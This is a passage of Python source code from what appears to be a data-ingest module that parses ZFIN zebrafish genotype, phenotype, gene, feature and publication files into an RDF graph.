logger.info(\"Finished parsing file\")\n\n # ############## BUILD THE INTRINSIC GENOTYPES ###############\n # using the geno_hash, build the genotype parts,\n # and add them to the graph\n # the hash is organized like:\n # genotype_id : {\n # gene_id : [list, of, alleles], # for located things\n # allele_id : [list, of, alleles] # for unlocated things\n # }\n # now loop through the geno_hash, and build the vslcs\n\n logger.info(\"Building intrinsic genotypes from partonomy\")\n for gt in geno_hash:\n if self.testMode and re.sub(r'ZFIN:', '', gt) \\\n not in self.test_ids['genotype']:\n print('skipping ', gt)\n continue\n\n if gt not in gvc_hash:\n gvc_hash[gt] = []\n gvcparts = gvc_hash[gt]\n\n for locus_id in geno_hash[gt]:\n # logger.info(\"locus id %s\",locus_id)\n locus_label = self.id_label_map[locus_id]\n variant_locus_parts = geno_hash.get(gt).get(locus_id)\n # logger.info(\n # 'vl parts: %s',pprint.pformat(variant_locus_parts))\n # if the locus == part, then it isn't a gene,\n # rather a variant not in a specific gene\n if locus_id in variant_locus_parts:\n # set the gene_id to none\n gene_id = None\n else:\n gene_id = locus_id\n\n allele1_id = variant_locus_parts[0]\n if allele1_id not in self.id_label_map:\n allele1_label = allele1_id\n logger.error('allele1 %s not in hash', allele1_id)\n else:\n allele1_label = self.id_label_map[allele1_id]\n allele2_id = None\n allele2_label = None\n zygosity_id = None\n\n if len(variant_locus_parts) > 2:\n logger.error(\n \"There may be a problem. >2 parts for this locus (%s): %s\",\n locus_id, variant_locus_parts)\n elif len(variant_locus_parts) > 1:\n allele2_id = variant_locus_parts[1]\n if allele2_id not in ['0', '?']:\n allele2_label = self.id_label_map[allele2_id]\n else:\n allele2_label = allele2_id\n if allele2_id is not None:\n if allele2_id == '?':\n zygosity_id = self.globaltt['indeterminate']\n allele2_id = 'UN'\n elif allele2_id == '0':\n zygosity_id = self.globaltt['hemizygous']\n elif allele1_id != allele2_id:\n zygosity_id = self.globaltt['compound heterozygous'] \n elif allele1_id == allele2_id:\n zygosity_id = self.globaltt['homozygous']\n else:\n zygosity_id = self.globaltt['simple heterozygous']\n allele2_label = '+'\n allele2_id = 'WT'\n\n # make variant_loci\n vloci2 = vloci2_label = None\n if gene_id is not None:\n vloci1 = self._make_variant_locus_id(gene_id, allele1_id)\n vloci1_label = geno.make_variant_locus_label(\n locus_label, allele1_label)\n geno.addSequenceAlterationToVariantLocus(\n allele1_id, vloci1)\n geno.addAlleleOfGene(vloci1, gene_id)\n model.addIndividualToGraph(\n vloci1, vloci1_label, self.globaltt['variant_locus'])\n if allele2_id is not None and allele2_id not in ['WT', '0', 'UN']:\n vloci2 = self._make_variant_locus_id(\n gene_id, allele2_id)\n vloci2_label = geno.make_variant_locus_label(\n locus_label, allele2_label)\n geno.addSequenceAlterationToVariantLocus(\n allele2_id, vloci2)\n model.addIndividualToGraph(\n vloci2, vloci2_label, self.globaltt['variant_locus'])\n geno.addAlleleOfGene(vloci2, gene_id)\n else:\n vloci1 = allele1_id\n vloci1_label = allele1_label\n vloci2 = None\n if allele2_id not in ['WT', '0', 'UN']:\n vloci2 = allele2_id\n vloci2_label = allele2_label\n\n # create the vslc\n gene_label = ''\n if gene_id is None:\n gn = 'UN'\n else:\n gn = gene_id\n gene_label = self.id_label_map[gene_id]\n\n # TODO also consider adding this to Genotype.py\n vslc_id = '-'.join((gn, allele1_id, allele2_id))\n vslc_id = '_:' + re.sub(r'(ZFIN)?:', '', vslc_id)\n\n vslc_label = geno.make_vslc_label(\n gene_label, allele1_label, allele2_label)\n\n # add to global hash\n self.id_label_map[vslc_id] = vslc_label\n\n model.addIndividualToGraph(\n vslc_id, vslc_label,\n self.globaltt['variant single locus complement'])\n geno.addPartsToVSLC(\n vslc_id, vloci1, vloci2, zygosity_id,\n self.globaltt['has_variant_part'],\n self.globaltt['has_variant_part'])\n\n gvcparts += [vslc_id]\n\n gvc_hash[gt] = gvcparts\n\n # end loop through geno_hash\n\n logger.info('Finished finding all the intrinsic genotype parts')\n logger.info('Build pretty genotype labels')\n # now loop through the gvc_hash, and build the gvc\n for gt in gvc_hash:\n if self.testMode and re.sub(r'ZFIN:', '', gt) \\\n not in self.test_ids['genotype']:\n continue\n\n gvc_parts = gvc_hash[gt]\n\n # only need to make a gvc specifically if there's >1 vslc\n if len(gvc_parts) > 1:\n gvc_labels = []\n # put these in order so they will always make the same id\n gvc_parts.sort()\n\n gvc_id = '-'.join(gvc_parts)\n gvc_id = re.sub(r'(ZFIN)?:', '', gvc_id)\n gvc_id = '_:' + re.sub(r'^_*', '', gvc_id)\n\n for vslc_id in gvc_parts:\n # add the vslc to the gvc\n geno.addVSLCtoParent(vslc_id, gvc_id)\n\n # build the gvc label\n vslc_label = self.id_label_map[vslc_id]\n if vslc_label is not None:\n gvc_labels += [vslc_label]\n else:\n gvc_labels += [vslc_id]\n\n gvc_labels.sort()\n gvc_label = '; '.join(gvc_labels)\n\n # add the gvc to the id-label hash\n self.id_label_map[gvc_id] = gvc_label\n\n # add the gvc\n model.addIndividualToGraph(\n gvc_id, gvc_label, self.globaltt['genomic_variation_complement'])\n elif len(gvc_parts) == 1:\n # assign the vslc to be also a gvc\n vslc_id = gvc_parts[0]\n gvc_id = vslc_id\n gvc_label = self.id_label_map[vslc_id]\n model.addType(\n vslc_id, self.globaltt['genomic_variation_complement'])\n else:\n gvc_id = None\n gvc_label = ''\n logger.error(\"No GVC parts for %s\", gt)\n\n if gt in self.genotype_backgrounds:\n background_id = self.genotype_backgrounds[gt]\n if background_id in self.id_label_map:\n background_label = self.id_label_map[background_id]\n else:\n background_label = background_id\n logger.error(\n \"We don't have the label for %s stored\", background_id)\n\n else:\n background_num = re.sub(r'ZFIN:', '', gt)\n background_id = '_:bkgd-'+background_num\n background_label = 'n.s. (' + background_num + ')'\n background_desc = 'This genomic background is unknown. ' +\\\n 'This is a placeholder background for ' + gt + '.'\n # there is no background for this genotype;\n # need to add the taxon to this one!\n # make an anonymous background for this genotype\n geno.addGenomicBackground(\n background_id, background_label, None, background_desc)\n geno.addGenomicBackgroundToGenotype(background_id, gt)\n background_label = 'n.s.'\n\n geno.addTaxon(taxon_id, background_id)\n\n genotype_name = gvc_label + ' [' + background_label + ']'\n\n geno.addGenotype(gt, genotype_name)\n\n self.id_label_map[gt] = genotype_name\n\n # Add the GVC to the genotype\n geno.addParts(gvc_id, gt, self.globaltt['has_variant_part'])\n\n # end of gvc loop\n\n # end of genotype loop\n\n # TODO this is almost complete;\n # deficiencies with >1 locus deleted are still not right\n logger.info(\"Finished building genotype labels\")\n\n logger.info(\"Done with genotypes\")\n\n return\n\n def _process_genotype_backgrounds(self, limit=None):\n \"\"\"\n This table provides a mapping of genotypes to background genotypes\n Note that the background_id is also a genotype_id.\n\n Makes these triples:\n GENO:has_reference_part \n a GENO:genomic_background\n in_taxon \n a class\n :param limit:\n :return:\n\n \"\"\"\n\n if self.testMode:\n graph = self.testgraph\n else:\n graph = self.graph\n model = Model(graph)\n logger.info(\"Processing genotype backgrounds\")\n line_counter = 0\n raw = '/'.join((self.rawdir, self.files['backgrounds']['file']))\n geno = Genotype(graph)\n\n # Add the taxon as a class\n taxon_id = self.globaltt['Danio rerio']\n model.addClassToGraph(taxon_id, None)\n\n with open(raw, 'r', encoding=\"iso-8859-1\") as csvfile:\n filereader = csv.reader(csvfile, delimiter='\\t', quotechar='\\\"')\n for row in filereader:\n line_counter += 1\n # Genotype_ID \tGenotype_Name \tBackground \tBackground_Name\n (genotype_id, genotype_name, background_id, unused # , empty\n ) = row\n\n if self.testMode and genotype_id not in self.test_ids['genotype']:\n continue\n\n genotype_id = 'ZFIN:' + genotype_id.strip()\n background_id = 'ZFIN:' + background_id.strip()\n\n # store this in the hash for later lookup\n # when building fish genotypes\n self.genotype_backgrounds[genotype_id] = background_id\n\n # add the background into the graph,\n # in case we haven't seen it before\n geno.addGenomicBackground(background_id, None)\n\n # hang the taxon from the background\n geno.addTaxon(taxon_id, background_id)\n\n # add the intrinsic genotype to the graph\n # we DO NOT ADD THE LABEL here\n # as it doesn't include the background\n geno.addGenotype(genotype_id, None, self.globaltt['intrinsic_genotype'])\n\n # Add background to the intrinsic genotype\n geno.addGenomicBackgroundToGenotype(background_id, genotype_id)\n\n if not self.testMode and limit is not None and line_counter > limit:\n break\n\n logger.info(\"Done with genotype backgrounds\")\n return\n\n def _process_wildtypes(self, limit=None):\n \"\"\"\n This table provides the genotype IDs, name,\n and abbreviation of the wildtype genotypes.\n These are the typical genomic backgrounds...there's about 20 of them.\n http://zfin.org/downloads/wildtypes_fish.txt\n\n Triples created:\n a GENO:wildtype\n rdfs:label genotype_abbreviation\n dc:description genotype_name\n\n :param limit:\n :return:\n\n \"\"\"\n if self.testMode:\n graph = self.testgraph\n else:\n graph = self.graph\n # model = Model(graph) # unused\n logger.info(\"Processing wildtype genotypes\")\n line_counter = 0\n geno = Genotype(graph)\n raw = '/'.join((self.rawdir, self.files['wild']['file']))\n with open(raw, 'r', encoding=\"iso-8859-1\") as csvfile:\n filereader = csv.reader(csvfile, delimiter='\\t', quotechar='\\\"')\n for row in filereader:\n line_counter += 1\n (fish_num, fish_name, fish_abbreviation, genotype_num\n # , empty\n ) = row\n # ZDB-FISH-150901-10750\tINDO\tINDO\tZDB-GENO-980210-32\n fish_id = 'ZFIN:'+fish_num\n genotype_id = 'ZFIN:' + genotype_num.strip()\n background_type = self.globaltt['genomic_background']\n\n # Add genotype to graph with label and description,\n # as a genomic_background genotype\n unspecified_background = 'ZDB-GENO-030619-2'\n if re.match(genotype_num.strip(), unspecified_background):\n background_type = self.globaltt['unspecified_genomic_background']\n geno.addGenomicBackground(\n genotype_id, fish_abbreviation, background_type, fish_name)\n\n graph.addTriple(fish_id, self.globaltt['has_genotype'], genotype_id)\n\n # Build the hash for the wild type genotypes.\n self.id_label_map[genotype_id] = fish_abbreviation\n\n # store these in a special hash to look up later\n self.wildtype_genotypes += [genotype_id]\n\n if not self.testMode and limit is not None and line_counter > limit:\n break\n\n logger.info(\"Done with wildtype genotypes\")\n return\n\n def _process_stages(self, limit=None):\n \"\"\"\n This table provides mappings between ZFIN stage IDs and ZFS terms,\n and includes the starting and ending hours for the developmental stage.\n Currently only processing the mapping from the ZFIN stage ID\n to the ZFS ID.\n\n :param limit:\n :return:\n\n \"\"\"\n\n if self.testMode:\n graph = self.testgraph\n else:\n graph = self.graph\n model = Model(graph)\n logger.info(\"Processing stages\")\n line_counter = 0\n raw = '/'.join((self.rawdir, self.files['stage']['file']))\n with open(raw, 'r', encoding=\"iso-8859-1\") as csvfile:\n filereader = csv.reader(csvfile, delimiter='\\t', quotechar='\\\"')\n for row in filereader:\n line_counter += 1\n (stage_id, stage_obo_id, stage_name, begin_hours, end_hours\n # ,empty # till next time\n ) = row\n\n # Add the stage as a class, and it's obo equivalent\n stage_id = 'ZFIN:' + stage_id.strip()\n model.addClassToGraph(stage_id, stage_name)\n model.addEquivalentClass(stage_id, stage_obo_id)\n\n if not self.testMode and limit is not None and line_counter > limit:\n break\n\n logger.info(\"Done with stages\")\n return\n\n def _process_g2p(self, limit=None):\n \"\"\"\n Here, we process the fish-to-phenotype associations,\n which also include environmental perturbations.\n The phenotypes may also be recorded as observed at specific stages.\n We create association objects with as much of the information\n as possible.\n\n A full association object may include:\n\n assoc hasSubject effective genotype\n assoc hasObject phenotype\n assoc hasSource publication (PMID or ZFIN pub id)\n assoc hasEnvironment environment\n assoc hasStartStage start_stage_id\n assoc hasEndStage end_stage_id\n\n :param limit:\n :return:\n\n \"\"\"\n logger.info(\"Processing G2P\")\n line_counter = 0\n if self.testMode:\n graph = self.testgraph\n else:\n graph = self.graph\n\n missing_zpids = list()\n mapped_zpids = list()\n\n model = Model(graph)\n eco_id = self.globaltt['experimental phenotypic evidence']\n raw = '/'.join((self.rawdir, self.files['pheno']['file']))\n with open(raw, 'r', encoding=\"utf8\") as csvfile:\n filereader = csv.reader(csvfile, delimiter='\\t', quotechar='\\\"')\n for row in filereader:\n line_counter += 1\n\n (fish_num, fish_name, start_stage_id, start_stage_name,\n end_stage_id, end_stage_name, subterm1_id, subterm1_name,\n postcomp1_rel_id, postcomp1_rel_name, superterm1_id,\n superterm1_name, quality_id, quality_name, modifier,\n subterm2_id, subterm2_name, postcomp2_rel_id,\n postcomp2_rel_name, superterm2_id, superterm2_name, pub_id,\n env_id\n # , empty # till next time\n ) = row\n\n if self.testMode and (\n fish_num not in self.test_ids['fish'] or\n env_id not in self.test_ids['environment']):\n continue\n fish_id = 'ZFIN:' + fish_num.strip()\n env_id = 'ZFIN:' + env_id.strip()\n\n # ########### PHENOTYPES ##########\n phenotype_id = self._map_sextuple_to_phenotype(superterm1_id,\n subterm1_id,\n quality_id,\n superterm2_id,\n subterm2_id,\n modifier)\n\n if phenotype_id is None:\n # check to see if it is a \"normal\" phenotype;\n # if so, then\n # check to see if the \"abnormal\" version is found\n # if the abnormal version is not found, then report it\n if modifier == 'normal':\n p2 = self._map_sextuple_to_phenotype(\n superterm1_id, subterm1_id, quality_id,\n superterm2_id, subterm2_id, 'abnormal')\n if p2 is None:\n missing_zpids.append([\n superterm1_id, subterm1_id, quality_id,\n superterm2_id, subterm2_id, modifier])\n else:\n pass\n # logger.info(\"Normal phenotype found,\n # and abnormal version exists\")\n else:\n missing_zpids.append([\n superterm1_id, subterm1_id, quality_id,\n superterm2_id, subterm2_id, modifier])\n\n else:\n mapped_zpids.append([\n superterm1_id, subterm1_id, quality_id,\n superterm2_id, subterm2_id, modifier])\n\n if pub_id != '':\n pub_id = 'ZFIN:' + pub_id.strip()\n ref = Reference(graph, pub_id)\n ref.addRefToGraph()\n\n if not re.match(r'^normal', modifier):\n if phenotype_id is None:\n continue\n if start_stage_id != '':\n start_stage_id = 'ZFIN:' + start_stage_id.strip()\n if end_stage_id != '':\n end_stage_id = 'ZFIN:' + end_stage_id.strip()\n\n # add association\n assoc = G2PAssoc(graph, self.name, fish_id, phenotype_id)\n\n # only add the environment if there's components to it\n if env_id in self.environment_hash \\\n and len(self.environment_hash.get(env_id)) > 0:\n assoc.set_environment(env_id)\n assoc.set_stage(start_stage_id, end_stage_id)\n assoc.add_evidence(eco_id)\n assoc.add_source(pub_id)\n assoc.add_association_to_graph()\n assoc_id = assoc.get_association_id()\n if env_id not in self.environment_hash \\\n or len(self.environment_hash.get(env_id)) > 0:\n model.addComment(\n assoc_id, 'Legacy environment id ' + env_id)\n else:\n # TODO add normal phenotypes as associations #134 when\n # https://github.com/sba1/bio-ontology-zp/issues/9\n # is finished, we can use these add normal phenotypes\n # as a comment on the genotype for now\n clist = []\n for x in [superterm1_name, subterm1_name, quality_name,\n superterm2_name, subterm2_name, modifier]:\n if x != '':\n clist += [x]\n\n c = '+'.join(clist)\n c = ' '.join((\"Normal phenotype observed:\", c, \"(\" + pub_id + \")\"))\n if pub_id != '':\n graph.addTriple(pub_id, self.globaltt['mentions'], fish_id)\n\n if not self.testMode and limit is not None and line_counter > limit:\n break\n\n myset = set([','.join(x) for x in mapped_zpids])\n myset2 = set([','.join(x) for x in missing_zpids])\n logger.info(\n \"Phenotype-sextuples: %d mapped : %d unmapped\", len(myset), len(myset2))\n self._write_missing_zp_report(missing_zpids)\n\n return\n\n def _write_missing_zp_report(self, missing_zpids, include_normal=True):\n \"\"\"\n This will write the sextuples of anatomy+quality to a file\n if they do not map to any current ZP definition.\n Set include_normal to False if you do not want to log\n the unmatched \"normal\" phenotypes.\n :param missing_zpids:\n :param include_normal:\n :return:\n\n \"\"\"\n\n f = '/'.join((self.outdir, 'missing_zps.txt'))\n\n myset = set([','.join(x) for x in missing_zpids])\n # missing_zpids = set(missing_zpids) # make it a unique set\n with open(f, 'w', newline='\\n') as csvfile:\n writer = csv.writer(csvfile, delimiter='\\t')\n # write header\n h = ['superterm1_id', 'subterm1_id', 'quality_id',\n 'superterm2_id', 'subterm2_id', 'modifier']\n writer.writerow(h)\n for x in myset:\n writer.writerow(x.split(','))\n csvfile.close()\n\n logger.info(\"Wrote %d missing zp defs to %s\", len(myset), f)\n\n return\n\n def _process_genes(self, limit=None):\n \"\"\"\n This table provides the ZFIN gene id, the SO type of the gene,\n the gene symbol, and the NCBI Gene ID.\n\n Triples created:\n a class\n rdfs:label gene_symbol\n equivalent class \n :param limit:\n :return:\n\n \"\"\"\n\n logger.info(\"Processing genes\")\n if self.testMode:\n graph = self.testgraph\n else:\n graph = self.graph\n model = Model(graph)\n line_counter = 0\n raw = '/'.join((self.rawdir, self.files['gene']['file']))\n geno = Genotype(graph)\n with open(raw, 'r', encoding=\"iso-8859-1\") as csvfile:\n filereader = csv.reader(csvfile, delimiter='\\t', quotechar='\\\"')\n for row in filereader:\n line_counter += 1\n\n (gene_id, gene_so_id, gene_symbol, ncbi_gene_id\n # , empty # till next time\n ) = row\n\n if self.testMode and gene_id not in self.test_ids['gene']:\n continue\n\n gene_id = 'ZFIN:' + gene_id.strip()\n ncbi_gene_id = 'NCBIGene:' + ncbi_gene_id.strip()\n\n self.id_label_map[gene_id] = gene_symbol\n\n if not self.testMode and limit is not None and line_counter > limit:\n pass\n else:\n geno.addGene(gene_id, gene_symbol)\n model.addEquivalentClass(gene_id, ncbi_gene_id)\n\n logger.info(\"Done with genes\")\n return\n\n def _process_features(self, limit=None):\n \"\"\"\n This module provides information for the intrinsic\n and extrinsic genotype features of zebrafish.\n All items here are 'alterations', and are therefore instances.\n\n sequence alteration ID, SO type, abbreviation, and relationship to\n the affected gene, with the gene's ID, symbol,\n and SO type (gene/pseudogene).\n\n Triples created:\n a class:\n :param limit:\n :return:\n\n \"\"\"\n if self.testMode:\n graph = self.testgraph\n else:\n graph = self.graph\n model = Model(graph)\n logger.info(\"Processing features\")\n line_counter = 0\n geno = Genotype(graph)\n raw = '/'.join((self.rawdir, self.files['features']['file']))\n with open(raw, 'r', encoding=\"iso-8859-1\") as csvfile:\n filereader = csv.reader(csvfile, delimiter='\\t', quotechar='\\\"')\n for row in filereader:\n line_counter += 1\n (genomic_feature_id, feature_so_id,\n genomic_feature_abbreviation, genomic_feature_name,\n genomic_feature_type, mutagen, mutagee, construct_id,\n construct_name, construct_so_id, talen_crispr_id,\n talen_crispr_nam\n # , empty\n ) = row\n\n if self.testMode and (\n genomic_feature_id not in self.test_ids['allele']):\n continue\n\n genomic_feature_id = 'ZFIN:' + genomic_feature_id.strip()\n model.addIndividualToGraph(\n genomic_feature_id, genomic_feature_name, feature_so_id)\n\n model.addSynonym(\n genomic_feature_id, genomic_feature_abbreviation)\n if construct_id is not None and construct_id != '':\n construct_id = 'ZFIN:' + construct_id.strip()\n geno.addConstruct(\n construct_id, construct_name, construct_so_id)\n geno.addSequenceDerivesFrom(\n genomic_feature_id, construct_id)\n\n # Note, we don't really care about how the variant was derived.\n # so we skip that.\n\n # add to the id-label map\n self.id_label_map[\n genomic_feature_id] = genomic_feature_abbreviation\n self.id_label_map[construct_id] = construct_name\n\n if not self.testMode and limit is not None and line_counter > limit:\n break\n\n logger.info(\"Done with features\")\n return\n\n def _process_feature_affected_genes(self, limit=None):\n \"\"\"\n This table lists (intrinsic) genomic sequence alterations\n and their affected gene(s).\n It provides the sequence alteration ID, SO type, abbreviation,\n and relationship to the affected gene, with the gene's ID, symbol,\n and SO type (gene/pseudogene).\n\n Triples created:\n a class:\n rdfs:label gene_symbol\n subclass of gene/pseudogene\n\n is a GENO:allele\n rdfs:label \n is an allele of \n has alternate part \n\n is an allele of \n rdf:type \n\n :param limit:\n :return:\n\n \"\"\"\n\n # can use this to process and build the variant locus.\n # but will need to process through some kind of helper hash,\n # just like we do with the genotype file.\n # that's because each gene is on a separate line\n # for example, ZDB-ALT-021021-2 is a deficiency that affects 4 genes\n # that case is when the relationship is != 'is allele of'\n\n logger.info(\"Processing feature affected genes\")\n line_counter = 0\n raw = '/'.join(\n (self.rawdir, self.files['feature_affected_gene']['file']))\n if self.testMode:\n graph = self.testgraph\n else:\n graph = self.graph\n model = Model(graph)\n geno = Genotype(graph)\n with open(raw, 'r', encoding=\"iso-8859-1\") as csvfile:\n filereader = csv.reader(csvfile, delimiter='\\t', quotechar='\\\"')\n for row in filereader:\n line_counter += 1\n (genomic_feature_id, feature_so_id,\n genomic_feature_abbreviation, gene_symbol, gene_id,\n gene_so_id, genomic_feature_marker_relationship) = row[0:7]\n\n # Sequence alteration types present in file:\n # SO:0000159 - deletion,\n # SO:0000199 - translocation,\n # SO:0000667 - insertion,\n # SO:0001059 - sequence_alteration,\n # SO:0001060 - sequence_variant,\n # SO:0001218 - transgenic insertion,\n # SO:1000005 - complex_substitution,\n # SO:1000008 - point_mutation,\n # SO:1000029 - chromosomal_deletion,\n # SO:1000032 - indel\n\n genomic_feature_id = 'ZFIN:' + genomic_feature_id.strip()\n gene_id = 'ZFIN:' + gene_id.strip()\n\n self.id_label_map[\n genomic_feature_id] = genomic_feature_abbreviation\n self.id_label_map[gene_id] = gene_symbol\n\n if self.testMode and (\n re.sub(r'ZFIN:', '', gene_id) not in self.test_ids['gene'] and\n re.sub(r'ZFIN:', '', genomic_feature_id)\n not in self.test_ids['allele']):\n continue\n\n geno.addGene(gene_id, gene_symbol, gene_so_id)\n\n # add the gene to the list of things altered by this thing\n if genomic_feature_id not in self.variant_loci_genes:\n self.variant_loci_genes[genomic_feature_id] = [gene_id]\n else:\n if gene_id not in self.variant_loci_genes[genomic_feature_id]:\n self.variant_loci_genes[genomic_feature_id] += [gene_id]\n\n sequence_alteration_type = feature_so_id\n # Add the sequence alteration id, label, and type\n geno.addSequenceAlteration(\n genomic_feature_id,\n genomic_feature_abbreviation,\n sequence_alteration_type)\n\n if sequence_alteration_type == 'is allele of':\n vl_label = geno.make_variant_locus_label(\n gene_symbol, genomic_feature_abbreviation)\n\n vl_id = self._make_variant_locus_id(gene_id, genomic_feature_id)\n\n self.id_label_map[vl_id] = vl_label\n\n # create the variant locus,\n # add it's parts and relationship to the gene\n geno.addSequenceAlterationToVariantLocus(\n genomic_feature_id, vl_id)\n model.addIndividualToGraph(\n vl_id, vl_label, self.globaltt['variant_locus'])\n geno.addAlleleOfGene(vl_id, gene_id)\n\n # note that deficiencies or translocations\n # that affect only one gene are considered alleles here\n # by zfin, which is appropriate.\n # I don't yet see duplications\n else:\n # don't make the variant loci for the other things\n # which include deficiencies, translocations, transgenes\n # TODO review this\n pass\n\n if not self.testMode and limit is not None and line_counter > limit:\n break\n\n logger.info(\"Done with feature affected genes\")\n return\n\n def _process_gene_marker_relationships(self, limit=None):\n \"\"\"\n Gene-marker relationships include:\n clone contains gene,\n coding sequence of,\n contains polymorphism,\n gene contains small segment,\n gene encodes small segment,\n gene has artifact,\n gene hybridized by small segment,\n gene produces transcript,\n gene product recognized by antibody,\n knockdown reagent targets gene,\n promoter of,\n transcript targets gene\n\n Here, we only process the following:\n knockdown reagent targets gene,\n coding sequence of,\n promoter of,\n transcript targets gene\n\n We only take a fraction of these here...\n we are interested in the knockdown reagents, promoters, and\n the transgenic constructs with coding bits.\n\n :param limit:\n :return:\n\n \"\"\"\n\n if self.testMode:\n graph = self.testgraph\n else:\n graph = self.graph\n model = Model(graph)\n logger.info(\"Processing gene marker relationships\")\n line_counter = 0\n raw = '/'.join((self.rawdir, self.files['gene_marker_rel']['file']))\n geno = Genotype(graph)\n\n with open(raw, 'r', encoding=\"iso-8859-1\") as csvfile:\n filereader = csv.reader(csvfile, delimiter='\\t', quotechar='\\\"')\n for row in filereader:\n line_counter += 1\n\n (gene_id, gene_so_id, gene_symbol, marker_id, marker_so_id,\n marker_symbol, relationship\n # , empty\n ) = row\n\n if self.testMode and not (\n gene_id in self.test_ids['gene'] or\n marker_id in self.test_ids['allele'] or\n marker_id in self.test_ids['morpholino']):\n continue\n\n # there are many relationships, but we only take a few for now\n if relationship in [\n 'knockdown reagent targets gene',\n 'coding sequence of',\n 'gene product recognized by antibody',\n 'promoter of',\n 'transcript targets gene']:\n gene_id = 'ZFIN:' + gene_id.strip()\n geno.addGene(gene_id, gene_symbol, gene_so_id)\n\n marker_id = 'ZFIN:' + marker_id.strip()\n if relationship == 'knockdown reagent targets gene':\n geno.addGeneTargetingReagent(\n marker_id, marker_symbol, marker_so_id, gene_id)\n # waiting to add the reagent_targeted_gene\n # until processing environments\n\n elif relationship == 'coding sequence of':\n # we add the partonomy\n # directly to the allele in the process_fish method\n geno.addConstruct(\n marker_id, marker_symbol, marker_so_id)\n transgene_part_id = self._make_transgene_part_id(\n marker_id, gene_id, relationship)\n transgene_part_label = 'Tg('+relationship+' '+gene_symbol+')'\n model.addIndividualToGraph(\n transgene_part_id, transgene_part_label,\n self.globaltt['coding_transgene_feature'])\n geno.addSequenceDerivesFrom(transgene_part_id, gene_id)\n\n # save the transgenic parts in a hashmap for later\n if marker_id not in self.transgenic_parts:\n self.transgenic_parts[marker_id] = set()\n self.transgenic_parts[marker_id].add(transgene_part_id)\n self.id_label_map[transgene_part_id] = transgene_part_label\n\n elif relationship == 'gene product recognized by antibody':\n # TODO for ticket #32\n pass\n elif relationship == 'promoter of':\n # transgenic constructs with promoters regions\n # we add the partonomy\n # directly to the allele in the process_fish method\n geno.addConstruct(marker_id, marker_symbol, marker_so_id)\n transgene_part_id = self._make_transgene_part_id(\n marker_id, gene_id, relationship)\n transgene_part_label = 'Tg(' + relationship + ' ' +\\\n gene_symbol + ')'\n model.addIndividualToGraph(\n transgene_part_id, transgene_part_label,\n self.globaltt['regulatory_transgene_feature'])\n geno.addSequenceDerivesFrom(transgene_part_id, gene_id)\n\n # save the transgenic parts in a hashmap for later\n if marker_id not in self.transgenic_parts:\n self.transgenic_parts[marker_id] = set()\n self.transgenic_parts[marker_id].add(transgene_part_id)\n\n elif relationship == 'transcript targets gene': # miRNAs\n # TODO should this be an interaction\n # instead of this special relationship?\n model.addIndividualToGraph(\n marker_id, marker_symbol, marker_so_id)\n graph.addTriple(\n marker_id, self.globaltt['targets_gene'], gene_id)\n else:\n pass\n\n self.id_label_map[marker_id] = marker_symbol\n # just in case we haven't seen it before\n self.id_label_map[gene_id] = gene_symbol\n\n if not self.testMode and limit is not None and line_counter > limit:\n break\n\n logger.info(\"Done with gene marker relationships\")\n return\n\n def _make_transgene_part_id(self, construct_id, part_id, relationship):\n transgene_part_id = '-'.join((\n construct_id, part_id, re.sub(r'\\W+', '-', relationship)))\n transgene_part_id = re.sub(r'ZFIN:', '', transgene_part_id)\n transgene_part_id = '_:'+transgene_part_id\n\n return transgene_part_id\n\n def _process_pubinfo(self, limit=None):\n \"\"\"\n This will pull the zfin internal publication information,\n and map them to their equivalent pmid, and make labels.\n\n Triples created:\n is an individual\n rdfs:label \n is an individual\n rdfs:label \n\n sameIndividual \n :param limit:\n :return:\n\n \"\"\"\n\n line_counter = 0\n if self.testMode:\n graph = self.testgraph\n else:\n graph = self.graph\n model = Model(graph)\n raw = '/'.join((self.rawdir, self.files['pubs']['file']))\n with open(raw, 'r', encoding=\"latin-1\") as csvfile:\n filereader = csv.reader(csvfile, delimiter='\\t', quotechar='\\\"')\n for row in filereader:\n line_counter += 1\n try:\n (pub_id, pubmed_id, authors, title,\n journal, year, vol, pages) = row\n except ValueError:\n try:\n (pub_id, pubmed_id, authors, title,\n journal, year, vol, pages\n # , empty\n ) = row\n except ValueError:\n logger.warn(\"Error parsing row {0}: \".format(row))\n\n if self.testMode and (\n 'ZFIN:' + pub_id not in self.test_ids['pub'] and\n 'PMID:' + pubmed_id not in self.test_ids['pub']):\n continue\n\n pub_id = 'ZFIN:' + pub_id.strip()\n # trim the author list for ease of reading\n alist = re.split(r',', authors)\n if len(alist) > 1:\n astring = ' '.join((alist[0].strip(), 'et al'))\n else:\n astring = authors\n\n pub_label = '; '.join((astring, title, journal, year, vol, pages))\n ref = Reference(graph, pub_id)\n ref.setShortCitation(pub_label)\n ref.setYear(year)\n ref.setTitle(title)\n\n if pubmed_id is not None and pubmed_id != '':\n # let's make an assumption that if there's a pubmed id,\n # that it is a journal article\n ref.setType(self.globaltt['journal article'])\n\n pubmed_id = 'PMID:' + pubmed_id.strip()\n rpm = Reference(graph, pubmed_id, self.globaltt['journal article'])\n rpm.addRefToGraph()\n\n model.addSameIndividual(pub_id, pubmed_id)\n model.makeLeader(pubmed_id)\n\n ref.addRefToGraph()\n\n if not self.testMode and limit is not None and line_counter > limit:\n break\n\n return\n\n def _process_pub2pubmed(self, limit=None):\n \"\"\"\n This will pull the zfin internal publication to pubmed mappings.\n Somewhat redundant with the process_pubinfo method,\n but this includes additional mappings.\n\n is an individual\n rdfs:label \n is an individual\n rdfs:label \n\n sameIndividual \n :param limit:\n :return:\n \"\"\"\n line_counter = 0\n if self.testMode:\n graph = self.testgraph\n else:\n graph = self.graph\n model = Model(graph)\n raw = '/'.join((self.rawdir, self.files['pub2pubmed']['file']))\n with open(raw, 'r', encoding=\"latin-1\") as csvfile:\n filereader = csv.reader(csvfile, delimiter='\\t', quotechar='\\\"')\n for row in filereader:\n line_counter += 1\n (pub_id, pubmed_id\n # , empty\n ) = row\n\n if self.testMode and (\n 'ZFIN:' + pub_id not in self.test_ids['pub'] and\n 'PMID:' + pubmed_id not in self.test_ids['pub']):\n continue\n\n pub_id = 'ZFIN:' + pub_id.strip()\n rtype = None\n if pubmed_id != '' and pubmed_id is not None:\n pubmed_id = 'PMID:' + pubmed_id.strip()\n rtype = self.globaltt['journal article']\n rpm = Reference(graph, pubmed_id, rtype)\n rpm.addRefToGraph()\n model.addSameIndividual(pub_id, pubmed_id)\n ref = Reference(graph, pub_id, rtype)\n ref.addRefToGraph()\n if not self.testMode and limit is not None and line_counter > limit:\n break\n\n return\n\n def _process_targeting_reagents(self, reagent_type, limit=None):\n \"\"\"\n This method processes the gene targeting knockdown reagents,\n such as morpholinos, talens, and crisprs.\n We create triples for the reagents and pass the data into a hash map\n for use in the 